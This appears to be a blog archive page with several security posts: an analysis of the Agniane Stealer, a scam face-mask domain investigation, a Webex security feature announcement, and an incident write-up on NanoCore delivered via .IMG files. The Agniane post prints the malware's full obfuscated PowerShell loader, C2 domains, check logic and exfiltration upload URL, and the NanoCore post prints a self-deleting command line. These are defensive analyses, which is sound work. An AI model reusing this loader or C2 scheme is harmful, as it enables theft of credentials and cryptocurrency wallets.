Showing posts with label Malware Analysis. Show all posts
Showing posts with label Malware Analysis. Show all posts

Tuesday, 20 February 2024

Agniane Stealer: Information stealer targeting cryptocurrency users

Agniane Stealer: Information stealer targeting cryptocurrency users

The Agniane Stealer is an information-stealing malware mainly targeting the cryptocurrency wallets of its victims. It gained popularity on the internet starting in August 2023. Recently, we have observed a distinct campaign spreading it across our telemetry. Our recent study has led to the successful identification and detailed analysis of a previously unrecognized network URL pattern. Our researchers have recently uncovered more information on the malware’s methods for file collection and the intricacies of its command and control (C2) protocol. We also have new reverse engineering insights into the malware’s architecture and communication.

We believe our work contributes to tactical and operational levels of intelligence regarding Agniane Stealer. It can prove useful from incident response to detector development and would be more suitable for a technical audience.

The Agniane Stealer has already been referenced in several articles. The Agniane stealer malware is being actively marketed and sold through a Telegram channel, accessible at t[.]me/agniane. Potential buyers can make purchases directly via this channel by interacting with a specialized bot, named @agnianebot, which facilitates the transaction process and provides additional information about the malware.” Our technical analysis indicates that it utilizes the ConfuserEx Protector and aims at identical targets. However, it employs a distinct C2 method, based on the sample observed in our telemetry data. Therefore, we have decided to publish a technical analysis of the sample.

Introduction


During our threat-hunting exercises in November 2023, we have noticed a pattern of renamed PowerShell binaries, called passbook.bat.exe. On closer inspection of the host machines, we have identified infections of the newly discovered malware family of Agniane Stealer. Threat research Gameel Ali (@MalGamy12) first disclosed the existence of this malware on their X account. Researchers from the Zscaler ThreatLabz Team and Pulsedive Threat Researchers eventually followed up with blog posts of their own. Our work aims to contribute additional information understanding campaigns involving the use of Agniane Stealer.

Execution Chain


Agniane Stealer: Information stealer targeting cryptocurrency users
Execution chain.

The infections we detected seem to start with the downloading of ZIP files from compromised websites. All the websites from where we have seen the download of this file in our telemetry are normal websites with legitimate content. All download URLs had the below URL pattern:

http[s]://<domain name>\/book_[A-Z0-9]+-\d+\.zip

Once downloaded and extracted, the downloaded ZIP file drops a BAT file (passbook.bat) and additional ZIP file on the file system. The BAT file contains an obfuscated payload and after its execution through cmd.exe, it drops an executable which is renamed version of PowerShell binary (passbook.bat.exe).

This enamed PowerShell was used to execute series of obfuscated commands.

passbook.bat.exe -noprofile -windowstyle hidden -ep bypass -command $_CASH_esCqq = [System.IO.File]::(‘txeTllAdaeR'[-1..-11] -join ”)(‘C:\Users\user\AppData\Local\Temp\15\Rar$DIa63532.21112\passbook.bat’).Split([Environment]::NewLine);foreach ($_CASH_OjmGK in $_CASH_esCqq) { if ($_CASH_OjmGK.StartsWith(‘:: @’)) { $_CASH_ceCmX = $_CASH_OjmGK.Substring(4); break; }; };$_CASH_ceCmX = [System.Text.RegularExpressions.Regex]::Replace($_CASH_ceCmX, ‘_CASH_’, ”);$_CASH_afghH = [System.Convert]::(‘gnirtS46esaBmorF'[-1..-16] -join ”)($_CASH_ceCmX);$_CASH_NtKXr = [System.Convert]::(‘gnirtS46esaBmorF'[-1..-16] -join ”)(‘ws33cUsroVN/EsxO1rOfY1zGajQKWVFEvpkHI/JP6Is=’);for ($i = 0; $i -le $_CASH_afghH.Length – 1; $i++) { $_CASH_afghH[$i] = ($_CASH_afghH[$i] -bxor $_CASH_NtKXr[$i % $_CASH_NtKXr.Length]); };$_CASH_DIacp = New-Object System.IO.MemoryStream(, $_CASH_afghH);$_CASH_yXEfg = New-Object System.IO.MemoryStream;$_CASH_QbnHO = New-Object System.IO.Compression.GZipStream($_CASH_DIacp, [IO.Compression.CompressionMode]::Decompress);$_CASH_QbnHO.CopyTo($_CASH_yXEfg);$_CASH_QbnHO.Dispose();$_CASH_DIacp.Dispose();$_CASH_yXEfg.Dispose();$_CASH_afghH = $_CASH_yXEfg.ToArray();$_CASH_hCnlS = [System.Reflection.Assembly]::(‘daoL'[-1..-4] -join ”)($_CASH_afghH);$_CASH_Xhonj = $_CASH_hCnlS.EntryPoint;$_CASH_Xhonj.Invoke($null, (, [string[]] (”)))

The command line shown above performs the following actions:

  • Reads the content of the previously extracted BAT file (passbook.bat).
  • Through string matches and replacements, builds the payload dynamically and assigns it to a variable.
  • Converted payload and static key from Base64 to a byte array.
  • XOR’d the payload using a static key.
  • Decompressed XOR’d payload using GZIP.
  • Invokes payload after reflectively loading it into memory.

To understand actions taken toward the objective, we reversed the payload.

Binary Analysis


The invoked payload continues with the execution of a C# assembly. We have dumped it into a file, where we get the executable with below hash,

5640c02b6d125d4e14e19709296b29b8ea34fe416e18b3d227bd79310d54b8df.

At time of the analysis, the file was unknown to online sandboxes. We have decided to emulate the activity on the Cisco Secure Malware Analytics sandbox with the generic settings on this file, which is the second stage of the deployment of the stealer. The dynamic analysis could not be completed as we did not execute the first stage of the sample of the malware. Therefore, we decided to analyze the sample manually, where we found later there are anti-sandbox techniques used.

The binary file was highly obfuscated with control flow manipulations, like ConfuserEx.

Agniane Stealer: Information stealer targeting cryptocurrency users
Content of the passbook.bat file. Control flow obfuscation like ConfuserEx.

It is important to note that the sample did not contain a signature for ConfuserEx, yet it had an obfuscation method that resembled it.

After reversing the sample, we realized it contains another binary file in its resources section, which were getting reflectively loaded. The new binary was another C#-based sample, which contained the final payload. It was obfuscated with ConfuserEx with direct signatures.

Agniane Stealer: Information stealer targeting cryptocurrency users
Content of the passbook.bat file. Control flow obfuscation like ConfuserEx.

Agniane Stealer: Information stealer targeting cryptocurrency users
The C# file calling Invoke function for in memory loading and executions, a common approach to reflective loading of resources files.

As you can see from the previous screenshot, it is calling Invoke functions from an entry Point object, which contains a parsed resource.

Agniane Stealer: Information stealer targeting cryptocurrency users
Loading resource data from malicious sample, which is later executed in the memory. The start of the execution is in the image above.

The entire loading process appears as though passbook.bat.exe is executing PowerShell, which is deobfuscating passbook.bat. This, in turn, is running the tmp385C.tmp (tmp385C.tmp is just a header file name) C# applications, which reflectively load the _CASH_78 C# application. The final application in this sequence is the Agniane Stealer:

Agniane Stealer: Information stealer targeting cryptocurrency users
Malware execution chain. _CASH_78 is the final payload. The previous steps were used only for obfuscations. There were multiple stages of sample to finally loading _CASH_78 app. _CASH_78 app is final malware, stages before are used only for delivery, obfuscations or detection evasion.

Command and Control


The Agniane Stealer operates in a straightforward yet efficient manner, stealing credentials and files from the endpoint using a basic C2 protocol. Initially, it verifies the availability of any domain names through a simple C# web request, checking if the return value is “13.” This time request was made to a URL labeled “test,” for instance.

WebClient wc = new WebClient();
urlData = wc.DownloadString(“https://trecube[.]com/test”);

If urlData == “13” {

list_of_active_c2.Add(“trecube[.]com”)

continue;

}

In our sample, we can see the following IOCs (indicators of compromise) presented in resources file:

trecube[.]com

trecube13[.]ru

imitato23[.]store

wood100home[.]ru

For all these domains, the sample is calling for a test URL.

urlList = {“https://trecube.com/“, “https://trecube13.ru/“, “https://imitato23.store/“, “https://wood100home.ru/“}
for domain in domainList:

{

WebClient wc = new WebClient();

urlData = wc.DownloadString(domain + “test”);

If urlData == “13” {

list_of_active_c2.Add(domain)

continue;

}

}

Later, the malware calls C2 to get a list of file extensions to look for. This is located at URL pattern getext?id= followed by an ID – a part of resources of the _CASH_78 file. On this website, the list of extensions is separated by a semicolon, and for example on a website trecube[.]store it looks like:

*.txt; *.doc; *.docx; *.wallet; *seed*
Again, this is handled as previous checking string in the code. It is parsed/split by semicolon and a list of extensions is created in a list of variables in C# code.

Agniane Stealer: Information stealer targeting cryptocurrency users
The Code handling via dynamic analysis, through which we identified the C2 URL as a breakpoint for DownloadString.

Subsequently, the malware requests a remote json file containing the details about errors, VirusTotal hits, etc. Based on this information, the sample either progresses or halts. We chose to focus our investigation on other aspects that are more directly relevant to attribution and detection settings. However, it is important to note that the URL pattern can be utilized for tracking malware through telemetry or online sandbox services for OSINT purposes. The URL looks like:

hxxps://trecube13[.]ru/getjson?id=67
And here what its corresponding output looks like:

{
“debug”: “0”,

“emulate”: “0”,

“virtualbox”: “1”,

“virustotal”: “0”,

“error”: “0”,

“errorname”: “NONE”,

“errortext”: “NONE”

“competitor”: “0”

}

The next stage involves enumeration and collection. It scans the computer to collect all documents with specified extensions instructed by the URL with a “getext” pattern, along with other credentials found in common paths of the operating system, such as Mozilla Firefox storage, Chrome storage and saved Windows credentials. This is a common activity amongst information stealer malware. Additionally, Agniane was checking to see the localization setting of the victim computer. If it contains any of the language packages below, it does not proceed with the infection,

ru-RU
kk-KZ

ro-MD

uz-UZ

be-BY

az-Latn-AZ

hy-AM

ky-KG

tg-Cyrl-TJ

The allowlisting of some regions can also mean the developer does not want to attack specific regions. Based on other observations it is possible to expect the attacker is from a country with a strong diplomatic tie to Russia.

Once all the target files are collected, the malware creates a ZIP archive under the “local application data” folder,

C:\Users\[user]\AppData\Local\[A-Z0-9]{32}

Below is the structure/content of this archive file

Agniane Stealer.txt //added as attachement here
Installe Apps.txt //added as attachement here

PC Information.txt //added as attachement here

Files from Desktop //FOLDER – contains exfiltrated files from Desktop folder

Files from … //FOLDER – contains exfiltrated files from …

… //and other folders, which contain exfiltrated files.

It is later uploaded to

https://trecube[.]com/gate?id=67&build=BAT&passwords=0&cookies=124&username=johnny&country=&ip=&BSSID=633796aa42413148ca7d6ea04c9fc813&wallets=0&token=AGNIANE-67135734941648&ext=0&filters=0&pcname=DESKTOP-9U09UT1&cardsc=0

Below you can find the illustrated version of the Agniane Stealer’s C2 communication,

Agniane Stealer: Information stealer targeting cryptocurrency users
The C2 communication protocol.

Other TTPs


The Agniane Stealer was also seen performing following actions:

  • Enumerating registry key HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall for installed applications, it also collects this information.
  • Checking for a public IP on a ip-api.com, i.e, https://ip-api.com/json/?fields=11827
  • Dumping Bitcoin and other cryptocurrency wallets
  • Performing (not well) checks to see if it’s running in a debugged or virtual env. etc.
  • Collecting wallet.dat files.
  • Enumerating Profile and User data.
  • Collecting stored credit cards.
  • Adding other malware like NGenTask.exe.log (the file with the SHA cf342712ac75824579780abdb0e12d7ba9e3de93f311e0f3dd5b35f73a6bbc3).
Source: cisco.com

Thursday, 9 April 2020

Buyers Beware: Scamming Is Rife, Especially In a Time of Crisis

For years, scammers have been using a combination of Blackhat SEO techniques, phishing sites and newsworthy events to either trick individuals into giving up personal information including credit card numbers or to install malware or both. Preying on an individual’s fears has always been a go to tactic for scammers.

Recently a friend texted me and asked if I could take a look at a website his wife used to try and buy some 3M N95 face masks from. He was concerned that the site did not appear to be legitimate. “Sure”, I said, “What is the domain?” He sent it over. mygoodmask[.]com. Having spent the last decade looking at malware, spammers and scammers, I responded immediately, “Yes, it’s very bad. Tell her to cancel her credit card as soon as possible.”

I figured I’d take a closer look at the domain to confirm if I was right. Dropping the domain into Cisco Threat Response – our platform that accelerates investigations by automating and aggregating threat intelligence and data across your security infrastructure. Threat Response didn’t return anything useful aside from the IP Addresses it resolved to. Since the platform is configured for my test organization at the office, it’s not going to show me any hosts that may have visited that domain, but it is still a great source of intelligence. It showed that Cisco was aware of the domain, but there was no additional information – not surprising for newly created and used domains. There is more than one way to determine if a domain is suspicious.

Cisco Prep, Cisco Learning, Cisco Tutorial and Material, Cisco Guides

Enriching the two IP addresses, 50[.]97.189.190 and 66[.]147.244.168, returned everything I needed to decide that the original site was malicious. Nearly two hundred domains resolving to those two addresses, none of which looked like ones I’d like to end up on.

Cisco Prep, Cisco Learning, Cisco Tutorial and Material, Cisco Guides

At this point I was curious about the website itself and wanted to take a closer look. I submitted the domain to Threat Grid, Cisco’s malware analysis tool. It immediately redirected to greatmasks[.]com which resolved to 37[.]72.184.5. Using Glovebox, a capability in Threat Grid that allows full interaction with the virtual machine, I attempted to buy some masks from the website. I used an expired card number to purchase my masks. They are using PayPal to collect payments and validate card numbers.

Cisco Prep, Cisco Learning, Cisco Tutorial and Material, Cisco Guides

The results produced from the analysis highlighted further details on the website, indicating a high level of suspicious activity.

Cisco Prep, Cisco Learning, Cisco Tutorial and Material, Cisco Guides

Drilling down on the IP address that the new domain resolved to, we found another related domain, safetysmask[.]com. At this point it would be easy to create a new Casebook and add these observables to the investigation.

Cisco Prep, Cisco Learning, Cisco Tutorial and Material, Cisco Guides

Cisco Prep, Cisco Learning, Cisco Tutorial and Material, Cisco Guides

For me, one of the most telling signs of an unknown domain is the lookup frequency and activity mapped to the domain creation date and DNS changes. A scammer may register domains and park them until they’re ready to use them. At that point they’ll set up a website and point that domain to an IP.

Cisco Prep, Cisco Learning, Cisco Tutorial and Material, Cisco Guides

Looking at the timeline and domain lookup activity in Cisco Umbrella, our DNS-layer SaaS solution, it’s clear that this website has been up for less than a month which is unusual, especially in context of this investigation.

Cisco Prep, Cisco Learning, Cisco Tutorial and Material, Cisco Guides

Using a combination of our platform capability and our DNS-layer security, I was able to validate that this domain, IP Addresses, and related domains were malicious. With investigations of this nature, the domain or IP might not always have a known disposition at a certain point in time but often, by following the breadcrumb trail of related information, it’s easy to make a determination and judgement about the original domain. Another path to determining the disposition of these domains is to drill down into the observables in Umbrella.

Cisco Prep, Cisco Learning, Cisco Tutorial and Material, Cisco Guides

Cisco Security products not only integrate via Threat Response, there are multiple direct integrations between products as well. These integrations are used to share threat intelligence produced by individual products and to share capabilities across products through API integrations, data visualization and cross product capabilities such as Casebook’s browser plugin.

Umbrella, our cloud-delivered DNS- layer of protection, integrates with Threat Grid, our malware analysis tool, and this allows Umbrella to show information produced through dynamic analysis, mapping domains and IP addresses to samples seen in Threat Grid’s global database, providing another method of determining disposition.

By the end of my digging, I had found hundreds of scams related to sports events, fashion accessories, flu season and more. All easily searchable within your organization via Threat Response and just as easily blocked via Umbrella.

Cisco Prep, Cisco Learning, Cisco Tutorial and Material, Cisco Guides

What began as just a way to help a friend one evening, became a quick but comprehensive investigation into how bad actors are trying to capitalize on a global health crisis. Hopefully this was helpful in showing how easy it can be to validate the disposition of a domain using related observables, and in doing so, build out a collection of new content to be leveraged in your environment for detection and prevention.

Tuesday, 11 February 2020

What’s New in Security and Compliance for Webex

Three New Security Features in Control Hub


Security and compliance are top of mind for large customers when deploying collaboration solutions. In today’s modern and digital workplaces, collaboration spans organizational and functional boundaries and employees inevitably share sensitive data and intellectual property. Hence, building and maintaining trust with IT administrators and security professionals to keep user data safe within their organization or even when collaborating externally is a key focus area for Cisco Webex.

While Cisco Webex offers frictionless end-user experiences through modern collaboration, our 360 approach to security provides unmatched control, privacy, and compliance to meet the requirements of IT and security teams.

At Cisco Webex, we continuously listen to our customers’ critical security and compliance concerns and work hard to rapidly deliver new security controls to provide peace of mind to them. In September 2019, we announced a new Collaboration Flex plan add-on offer – the Cisco Webex Control Hub Extended Security Pack (ESP) – a Cisco-on-Cisco best of breed and easy-to-deploy package that strengthens data security and compliance and ensures seamless collaboration for businesses.

Now, we are introducing three new security features that can be configured and customized by administrators via Control Hub to meet your organization’s specific requirements.

1. Anti-Malware Protection: Protect users from Trojans, viruses, and ransomware – even when files are shared by external users by directly enabling Anti-Malware Scan from Control Hub. An Extended Security Pack subscription is required.

2. Block External Communication: Empower administrators to whitelist approved domains via Control Hub to allow communication with users from authorized domains or organizations.

3. Bot Management: Empowers administrators to control and contain the proliferation of bots within an organization with global access policies and local whitelist overwrites directly from Control Hub.

Anti-Malware Protection


The Extended Security Pack already includes the full set of functionalities from Cisco Cloudlock® for data loss prevention (DLP) by providing full visibility and control over sensitive data stored in Webex Teams.

We are thrilled to announce the general availability of Anti-Malware Protection capability in Webex Teams, included in the Extended Security Pack. The native, high-performance anti-malware engine, powered by Cisco Talos ClamAV in Webex Cloud, scans and remediates all files in spaces, even if they are uploaded by external users. End users will not be able to download infected files on both corporate-managed and personally-managed devices, as shown in figure 1. In addition, administrators have the option to enable or disable anti-malware scanning and access scan history report in the Control Hub, as shown in figure 2.

Cisco Collaboration, Cisco Prep, Cisco Tutorial and Material, Cisco Guides, Cisco Certifications, Cisco Security
Figure 1. Blocking an infected file

Cisco Collaboration, Cisco Prep, Cisco Tutorial and Material, Cisco Guides, Cisco Certifications, Cisco Security
Figure 2. Administrator control for Anti-Malware Scan

Block External Communication


In today’s workplace, collaboration transcends organizational boundaries. For instance, your organization has embarked on a new initiative such as a joint product offer with a partner. Such an effort typically involves multiple personnel, discussions, and approvals. With a closed platform, your options are limited when it comes to managing communications with a network of partners with whom information exchange is extremely asymmetric. Sending out long emails or waiting for weekly recurring calls to clarify key items can be expensive and frustrating. Not anymore, thanks to Webex Teams!

We understand your needs when it comes to external collaboration and has been working hard to enhance the Block External Communication feature. You can extend your communication footprint with users outside your organization without compromising security and compliance. Unlike other communication platforms and tools that introduce administrative overhead and end-user friction, we deliver on the vision that external collaboration should be an intuitive and seamless experience.

What Does This Mean For IT Administrators


With this new enhancement to Block External Communication, administrators can now create a Whitelist of approved domains via Control Hub (See Figure 1, preventing unauthorized communication with users from other domains/organizations. Block External Communication works by restricting Webex Teams space membership to users who belong to domains that are part of the administrator-approved Whitelist only. The policy is enforced in a forward-looking manner after it is enabled in your organization’s Control Hub setting. Retrospective scanning of existing spaces for membership violations is not performed. Administrators can be assured that users from their organization are collaborating only with external users who belong to trusted domains.

Customers in regulated verticals such as finance and healthcare trust Webex Teams to protect their valuable data and provide a secure platform. This is yet another step in the direction of our promise to deliver the most open yet secure platform. The new Block External Communication feature is currently in early field trials. Stay tuned for more updates as we target General Availability of this feature.

Cisco Collaboration, Cisco Prep, Cisco Tutorial and Material, Cisco Guides, Cisco Certifications, Cisco Security
Figure 1: Control Hub configuration for creation of a domain Whitelist

Bot Management


Webex Teams is an open platform. A platform that your and external developers can customize and integrate into your business processes with the goal of enhanced interoperability with external data systems and enhanced productivity to your users. In fact, Webex Teams sports a slew of bots and applications developed by freelance developers – to market-leading ISV’s – curated and hosted on apphub.webex.com. You can find commercial integrations like a Salesforce bot, to crowd-pleasers like the Noora spa finder bot. And if you have a new solution in mind you can execute your creative juices by heading over to developer.webex.com and use the published well documented and fresh REST API’s as your entry point to your developer fame. Remember every Webex Teams login is also the entry key to the developer program – automatically.

Managing Bots From an IT Perspective

On to managing these bots from an IT perspective: We saw and heard the need to control the proliferation of these apps (bots and integrations), while we wanted to maintain the spirit of the open platform. The result is our new Bot Management capability. Similar to integrations management, Control Hub admins will find a new tab in the admin console which allows them to limit access to bots by their users. Customers without access to Pro Pack can still globally blacklist all bots, which will prevent the addition of bots to spaces going forward (See Figure 1). Pro Pack subscribers, in addition, can whitelist individual bots that your IT and Infosec departments deem safe and useful (See Figure 2). Bots in the allowed list can be added by anyone from your organization to space or invoked in direct conversations. Disallowed bots will result in an error message when trying to talk to them or adding them to a group space. This new feature is not retroactive and only works at the membership level, i.e., bots that were previously added to spaces will continue to work. The new bot management is currently in early field trials and expected to be generally available soon.

Cisco Collaboration, Cisco Prep, Cisco Tutorial and Material, Cisco Guides, Cisco Certifications, Cisco Security
Figure 1. Globally Bot Management

Cisco Collaboration, Cisco Prep, Cisco Tutorial and Material, Cisco Guides, Cisco Certifications, Cisco Security
Figure 2: Individually whitelisted bots

This feature is currently in early field trials. Stay tuned for more updates as we target General Availability of this feature.

Thursday, 16 January 2020

Disk Image Deception

Cisco’s Computer Security Incident Response Team (CSIRT) detected a large and ongoing malspam campaign leveraging the .IMG file extension to bypass automated malware analysis tools and infect machines with a variety of Remote Access Trojans. During our investigation, we observed multiple tactics, techniques, and procedures (TTPs) that defenders can monitor for in their environments. Our incident response and security monitoring team’s analysis on a suspicious phishing attack uncovered some helpful improvements in our detection capabilities and timing.

In this case, none of our intelligence sources had identified this particular campaign yet. Instead, we detected this attack with one of our more exploratory plays looking for evidence of persistence in the Windows Autoruns data. This play was successful in detecting an attack against a handful of endpoints using email as the initial access vector and was able to evade our defenses at the time. Less than a week after the incident, we received alerts from our retrospective plays for this same campaign once our integrated threat intelligence sources delivered the indicators of compromise (IOC). This blog is a high level write-up of how we adapted to a potentially successful attack campaign and our tactical analysis to help prevent and detect future campaigns.

Incident Response Techniques and Strategy


The Cisco Computer Security and Incident Response Team (CSIRT) monitors Cisco for threats and attacks against our systems, networks, and data. The team provides around the globe threat detection, incident response, and security investigations. Staying relevant as an IR team means continuously developing and adapting the best ways to defend the network, data, and infrastructure. We’re constantly experimenting with how to improve the efficiency of our data-centric playbook approach in the hope it will free up more time for threat hunting and more in-depth analysis and investigations. Part of our approach has been that as we discover new methods for detecting risky activity, we try to codify those methods and techniques into our incident response monitoring playbook to keep an eye on any potential future attacks.

Although some malware campaigns can slip past the defenses with updated techniques, we preventatively block the well-known, or historical indicators and leverage broad, exploratory analysis playbooks that spotlight more on how attackers operate and infiltrate. In other words, there is value in monitoring for the basic atomic indicators of compromised like IP addresses, domain names, file hashes, etc. but to go further you really have to look broadly at more generic attack techniques. These playbooks, or plays, help us find out about new attack campaigns that are possibly targeted and potentially more serious. While some might label this activity “threat hunting”, this data exploration process allows us to discover, track, and potentially share new indicators that get exposed during a deeper analysis.

Defense in depth demands that we utilize additional data sources in case attackers successfully evade one or more of our defenses, or if they were able to obscure their malicious activities enough to avoid detection. Recently we discovered a malicious spam campaign that almost succeeded due to a missed early detection. In one of our exploratory plays, we use daily diffs for all the Microsoft Windows registry autorun key changes since the last boot. Known as “Autoruns“, this data source ultimately helped us discover an ongoing attack that was attempting to deliver a remote access trojan (RAT). Along with the more mundane Windows event logs, we pieced together the attack from the moment it arrived and made some interesting discoveries on the way — most notably how the malware seemingly slipped past our front line filters. Not only did we uncover many technical details about the campaign, but we also used it as an opportunity to refine our incident response detection techniques and some of our monitoring processes.

IMG File Format Analysis


.IMG files are traditionally used by disk image files to store raw dumps of either a magnetic disk or of an optical disc. Other disk image file formats include ISO and BIN. Previously, mounting disk image file files on Windows required the user to install third-party software. However Windows 8 and later automatically mount IMG files on open. Upon mounting, Windows File Explorer displays the data inside the .IMG file to the end user. Although disk image files are traditionally utilized for storing raw binary data, or bit-by-bit copies of a disk, any data could be stored inside them. Because of the newly added functionality to the Windows core operating system, attackers are abusing disk image formats to “smuggle” data past antivirus engines, network perimeter defenses, and other auto mitigation security tooling. Attackers have also used the capability to obscure malicious second stage files hidden within a filesystem by using ISO and DMG (to a lesser extent). Perhaps the IMG extension also fools victims into considering the attachment as an image instead of a binary pandora’s box.

Know Where You’re Coming From


As phishing as an attack vector continues to grow in popularity, we have recently focused on several of our email incident response plays around detecting malicious attachments, business email compromise techniques like header tampering or DNS typosquatting, and preventative controls with inline malware prevention and malicious URL rewriting.

Any security tool that has even temporarily outdated definitions of threats or IOCs will be unable to detect a very recent event or an event with a recent, and therefore unknown, indicator. To ensure that these missed detections are not overlooked, we take a retrospective look back to see if any newly observed indicators are present in any previously delivered email. So when a malicious attachment is delivered to a mailbox, if the email scanners and sandboxes do not catch it the first time, our retrospective plays look back to see if the updated indicators are triggered. Over time sandboxes update their detection abilities and previously “clean” files could change status. The goal is to detect this changing status and if we have any exposure, then we reach out and remediate the host.

This process flow shows our method for detecting and responding to updated verdicts from sandbox scanners. During this process we collect logs throughout to ensure we can match against hashes or any other indicator or metadata we collect:

Cisco Tutorials and Materials, Cisco Learning, Cisco Certifications, Cisco Guides, Cisco Online Exam, Cisco Prep

Figure 1: Flow chart for Retrospective alerting

This process in combination with several other threat hunting style plays helped lead us to this particular campaign. The IMG file isn’t unique by any means but was rare and stood out to our analysts immediately when combined with the file name as a fake delivery invoice – one of the more tantalizing and effective types of phishing lures.

Incident Response and Analysis


We needed to pull apart as much of the malicious components as possible to understand how this campaign worked and how it might have slipped our defenses temporarily. The process tree below shows how the executable file dropped from the original IMG file attachment after mounting led to a Nanocore installation:

Cisco Tutorials and Materials, Cisco Learning, Cisco Certifications, Cisco Guides, Cisco Online Exam, Cisco Prep

Figure 2: Visualization of the malicious process tree.

Autoruns


As part of our daily incident response playbook operations, we recently detected a suspicious Autoruns event on an endpoint. This log (Figure 2) indicated that an unsigned binary with multiple detections on the malware analysis site, VirusTotal, had established persistence using the ‘Run’ registry key. Anytime the user logged in, the binary referenced in the “run key” would automatically execute – in this case the binary called itself “filename.exe” and dropped in the typical Windows “%SYSTEMROOT%\%USERNAME%\AppData\Roaming” directory:

{

    "enabled": "enabled",

    "entry": "startupname",

    "entryLocation": "HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",

    "file_size": "491008",

    "hostname": "[REDACTED]",

    "imagePath": "c:\\users\\[REDACTED]\\appdata\\roaming\\filename.exe",

    "launchString": "C:\\Users\\[REDACTED]\\AppData\\Roaming\\filename.exe",

    "md5": "667D890D3C84585E0DFE61FF02F5E83D",

    "peTime": "5/13/2019 12:48 PM",

    "sha256": "42CCA17BC868ADB03668AADA7CF54B128E44A596E910CFF8C13083269AE61FF1",

    "signer": "",

    "vt_link": "https://www.virustotal.com/file/42cca17bc868adb03668aada7cf54b128e44a596e910cff8c13083269ae61ff1/analysis/1561620694/",

    "vt_ratio": "46/73",

    "sourcetype": "autoruns",

}

Figure 3: Snippet of the event showing an unknown file attempting to persist on the victim host

Many of the anti-virus engines on VirusTotal detected the binary as the NanoCore Remote Access Trojan (RAT), a well known malware kit sold on underground markets which enables complete control of the infected computer: recording keystrokes, enabling the webcam, stealing files, and much more. Since this malware poses a huge risk and the fact that it was able to achieve persistence without getting blocked by our endpoint security, we prioritized investigating this alert further and initiated an incident. 

Once we identified this infected host using one of our exploratory Autoruns plays, the immediate concern was containing the threat to mitigate as much potential loss as possible. We download a copy of the dropper malware from the infected host and performed additional analysis. Initially we wanted to confirm if other online sandbox services agreed with the findings on VirusTotal. Other services including app.any.run also detected Nanocore based on a file called run.dat being written to the %APPDATA%\Roaming\{GUID} folder as shown in Figure 3: 

Cisco Tutorials and Materials, Cisco Learning, Cisco Certifications, Cisco Guides, Cisco Online Exam, Cisco Prep

Figure 4: app.any.run analysis showing Nanocore infection

The sandbox report also alerted us to an unusual outbound network connection from RegAsm.exe to 185.101.94.172 over port 8166.

Now that we were confident this was not a false positive, we needed to find the root cause of this infection, to determine if any other users are at risk of being victims of this campaign. To begin answering this question, we pulled the Windows Security Event Logs from the host using our asset management tool to gain a better understanding of what occurred on the host at the time of the incident. Immediately, a suspicious event that was occurring every second  jumped out due to the unusual and unexpected activity of a file named “DHL_Label_Scan _ June 19 2019 at 2.21_06455210_PDF.exe” spawning the Windows Assembly Registration tool RegAsm.exe. 

Process Information:

 New Process ID:  0x4128

 New Process Name: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

 Token Elevation Type: %%1938

 Mandatory Label:  Mandatory Label\Medium Mandatory Level

 Creator Process ID: 0x2ba0

 Creator Process Name: \Device\CdRom0\DHL_Label_Scan _  June 19 2019 at 2.21_06455210_PDF.exe

 Process Command Line: "C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe"

Figure 5: New process spawned from a ‘CdRom0’ device (the fake .img) calling the Windows Assembly Registration tool

This event stands out for several reasons.

◉ The filename:

1. Attempts to social engineer the user into thinking they are executing a PDF by appending “_PDF”

2. “DHL_Label_Scan” Shipping services are commonly spoofed by adversaries in emails to spread malware.

◉ The file path:

1. \Device\CdRom0\ is a special directory associated with a CD-ROM that has been inserted into the disk drive.

2. A fake DHL label is a strange thing to have on a CD-ROM and even stranger to insert it to a work machine and execute that file.

◉ The process relationship:

1. Adversaries abuse the Assembly Registration tool “RegAsm.exe” for bypassing process whitelisting and anti-malware protection.

2. MITRE tracks this common technique as T1121 indicating, “Adversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration”

3. We saw this technique in the app.any.run sandbox report.

◉ The frequency of the event:

1. The event was occurring every second, indicating some sort of command and control or heartbeat activity.

Mount Up and Drop Out


At this point in the investigation, we have now uncovered a previously unseen suspicious file: “DHL_Label_Scan _  June 19 2019 at 2.21_06455210_PDF.exe”, which is strangely located in the \Device\CdRom0\ directory, and the original “filename.exe” used to establish persistence.

The first event in this process chain shows explorer.exe spawning the malware from the D: drive.

Process Information:

New Process ID:  0x2ba0

New Process Name: \Device\CdRom0\DHL_Label_Scan _  June 19 2019 at 2.21_06455210_PDF.exe

Token Elevation Type: %%1938

Mandatory Label:  Mandatory Label\Medium Mandatory Level

Creator Process ID: 0x28e8

Creator Process Name: C:\Windows\explorer.exe

Process Command Line: "D:\DHL_Label_Scan _  June 19 2019 at 2.21_06455210_PDF.exe"

Figure 6: Additional processes spawned by the fake PDF

The following event is the same one that originally caught our attention, which shows the malware spawning RegAsm.exe (eventually revealed to be Nanocore) to establish communication with the command and control server:

Process Information:

New Process ID:  0x4128

New Process Name: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

Token Elevation Type: %%1938

Mandatory Label:  Mandatory Label\Medium Mandatory Level

Creator Process ID: 0x2ba0

Creator Process Name: \Device\CdRom0\DHL_Label_Scan _  June 19 2019 at 2.21_06455210_PDF.exe

Process Command Line: "C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe"

Figure 7: RegAsm reaching out to command and control servers

Finally, the malware spawns cmd.exe and deletes the original binary using the built-in choice command: 

Process Information:

New Process ID:  0x2900

New Process Name: C:\Windows\SysWOW64\cmd.exe

Token Elevation Type: %%1938

Mandatory Label:  Mandatory Label\Medium Mandatory Level

Creator Process ID: 0x2ba0

Creator Process Name: \Device\CdRom0\DHL_Label_Scan _  June 19 2019 at 2.21_06455210_PDF.exe

 Process Command Line: "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "D:\DHL_Label_Scan _  June 19 2019 at 2.21_06455210_PDF.exe"

Figure 8: Evidence of deleting the original dropper.

